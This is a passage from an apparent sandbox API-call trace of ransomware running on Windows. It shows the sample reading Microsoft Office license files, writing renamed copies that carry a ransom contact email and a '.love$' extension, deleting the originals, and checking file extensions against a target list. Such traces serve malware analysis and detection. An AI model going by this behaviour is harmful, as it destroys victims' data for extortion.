(in: hFile=0x388, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.750] WriteFile (in: hFile=0x568, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x124, lpOverlapped=0x0) returned 1 [0261.750] SetEndOfFile (hFile=0x568) returned 1 [0261.751] CloseHandle (hObject=0x568) returned 1 [0261.751] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.751] SetEndOfFile (hFile=0x388) returned 1 [0261.754] CloseHandle (hObject=0x388) returned 1 [0261.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0261.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.757] lstrlenW (lpString=".doc") returned 4 [0261.757] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.757] lstrlenW (lpString=".docx") returned 5 [0261.757] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.757] lstrlenW (lpString=".pdf") returned 4 [0261.757] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.757] lstrlenW (lpString=".xls") returned 4 [0261.757] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.757] lstrlenW (lpString=".xlsx") returned 5 [0261.757] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.757] lstrlenW (lpString=".ppt") returned 4 [0261.757] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.758] lstrlenW (lpString=".zip") returned 4 [0261.758] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.758] lstrlenW (lpString=".rar") returned 4 [0261.758] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.758] lstrlenW (lpString=".bz2") returned 4 [0261.758] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.758] lstrlenW (lpString=".7z") returned 3 [0261.758] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.758] lstrlenW (lpString=".dbf") returned 4 [0261.758] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.758] lstrlenW (lpString=".1cd") returned 4 [0261.758] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.758] lstrlenW (lpString=".jpg") returned 4 [0261.759] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.759] lstrlenW (lpString=".doc") returned 4 [0261.759] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.759] lstrlenW (lpString=".docx") returned 5 [0261.759] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.759] lstrlenW (lpString=".pdf") returned 4 [0261.759] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.759] lstrlenW (lpString=".xls") returned 4 [0261.759] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.759] lstrlenW (lpString=".xlsx") returned 5 [0261.759] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.759] lstrlenW (lpString=".ppt") returned 4 [0261.759] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.759] lstrlenW (lpString=".zip") returned 4 [0261.759] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.759] lstrlenW (lpString=".rar") returned 4 [0261.760] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.760] lstrlenW (lpString=".bz2") returned 4 [0261.760] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.760] lstrlenW (lpString=".7z") returned 3 [0261.760] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.760] lstrlenW (lpString=".dbf") returned 4 [0261.760] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.760] lstrlenW (lpString=".1cd") returned 4 [0261.760] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0261.760] lstrlenW (lpString=".jpg") returned 4 [0261.760] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.761] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0261.761] lstrlenW (lpString="HomeBusinessR_Grace-ppd.xrm-ms") returned 30 [0261.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.762] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=22033) returned 1 [0261.763] CloseHandle (hObject=0x388) returned 1 [0261.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0261.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.764] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.764] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0261.766] GetLastError () returned 0x0 [0261.766] ReadFile (in: hFile=0x388, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x5611, lpOverlapped=0x0) returned 1 [0261.987] WriteFile (in: hFile=0x568, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x5620, lpOverlapped=0x0) returned 1 [0262.006] ReadFile (in: hFile=0x388, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.006] WriteFile (in: hFile=0x568, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x110, lpOverlapped=0x0) returned 1 [0262.007] SetEndOfFile (hFile=0x568) returned 1 [0262.007] CloseHandle (hObject=0x568) returned 1 [0262.008] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.008] SetEndOfFile (hFile=0x388) returned 1 [0262.019] CloseHandle (hObject=0x388) returned 1 [0262.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1 [0262.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.276] lstrlenW (lpString=".doc") returned 4 [0262.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.276] lstrlenW (lpString=".docx") returned 5 [0262.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.276] lstrlenW (lpString=".pdf") returned 4 [0262.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.276] lstrlenW (lpString=".xls") returned 4 [0262.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.276] lstrlenW (lpString=".xlsx") returned 5 [0262.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.276] lstrlenW (lpString=".ppt") returned 4 [0262.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.276] lstrlenW (lpString=".zip") returned 4 [0262.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.276] lstrlenW (lpString=".rar") returned 4 [0262.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.276] lstrlenW (lpString=".bz2") returned 4 [0262.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.276] lstrlenW (lpString=".7z") returned 3 [0262.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.277] lstrlenW (lpString=".dbf") returned 4 [0262.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.277] lstrlenW (lpString=".1cd") returned 4 [0262.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.277] lstrlenW (lpString=".jpg") returned 4 [0262.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.277] lstrlenW (lpString=".doc") returned 4 [0262.277] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.277] lstrlenW (lpString=".docx") returned 5 [0262.277] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.277] lstrlenW (lpString=".pdf") returned 4 [0262.277] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.277] lstrlenW (lpString=".xls") returned 4 [0262.277] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.277] lstrlenW (lpString=".xlsx") returned 5 [0262.277] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.277] lstrlenW (lpString=".ppt") returned 4 [0262.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.278] lstrlenW (lpString=".zip") returned 4 [0262.278] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.278] lstrlenW (lpString=".rar") returned 4 [0262.278] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.278] lstrlenW (lpString=".bz2") returned 4 [0262.278] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.278] lstrlenW (lpString=".7z") returned 3 [0262.278] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.278] lstrlenW (lpString=".dbf") returned 4 [0262.278] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.278] lstrlenW (lpString=".1cd") returned 4 [0262.278] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0262.278] lstrlenW (lpString=".jpg") returned 4 [0262.278] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.279] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0262.279] lstrlenW (lpString="HomeBusinessR_Grace-ul-oob.xrm-ms") returned 33 [0262.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.939] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11624) returned 1 [0262.939] CloseHandle (hObject=0x534) returned 1 [0262.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0263.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0263.266] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.267] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0263.269] GetLastError () returned 0x0 [0263.269] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d68, lpOverlapped=0x0) returned 1 [0263.493] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0263.676] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.676] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x116, lpOverlapped=0x0) returned 1 [0263.676] SetEndOfFile (hFile=0x3f4) returned 1 [0263.677] CloseHandle (hObject=0x3f4) returned 1 [0263.677] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.677] SetEndOfFile (hFile=0x45c) returned 1 [0263.682] CloseHandle (hObject=0x45c) returned 1 [0263.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1 [0263.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.684] lstrlenW (lpString=".doc") returned 4 [0263.684] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.684] lstrlenW (lpString=".docx") returned 5 [0263.684] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.684] lstrlenW (lpString=".pdf") returned 4 [0263.684] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.685] lstrlenW (lpString=".xls") returned 4 [0263.685] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.685] lstrlenW (lpString=".xlsx") returned 5 [0263.685] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.685] lstrlenW (lpString=".ppt") returned 4 [0263.685] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.685] lstrlenW (lpString=".zip") returned 4 [0263.685] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.685] lstrlenW (lpString=".rar") returned 4 [0263.685] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.685] lstrlenW (lpString=".bz2") returned 4 [0263.685] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.685] lstrlenW (lpString=".7z") returned 3 [0263.685] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.685] lstrlenW (lpString=".dbf") returned 4 [0263.685] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.685] lstrlenW (lpString=".1cd") returned 4 [0263.685] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.686] lstrlenW (lpString=".jpg") returned 4 [0263.686] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.686] lstrlenW (lpString=".doc") returned 4 [0263.686] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.686] lstrlenW (lpString=".docx") returned 5 [0263.686] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.686] lstrlenW (lpString=".pdf") returned 4 [0263.686] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.686] lstrlenW (lpString=".xls") returned 4 [0263.686] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.686] lstrlenW (lpString=".xlsx") returned 5 [0263.686] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.686] lstrlenW (lpString=".ppt") returned 4 [0263.686] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.686] lstrlenW (lpString=".zip") returned 4 [0263.686] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.686] lstrlenW (lpString=".rar") returned 4 [0263.686] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.686] lstrlenW (lpString=".bz2") returned 4 [0263.686] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.686] lstrlenW (lpString=".7z") returned 3 [0263.686] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.687] lstrlenW (lpString=".dbf") returned 4 [0263.687] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.687] lstrlenW (lpString=".1cd") returned 4 [0263.687] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0263.687] lstrlenW (lpString=".jpg") returned 4 [0263.688] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.688] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.688] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 34 [0263.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0263.690] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=22094) returned 1 [0263.690] CloseHandle (hObject=0x45c) returned 1 [0263.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0263.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0263.691] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.691] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, 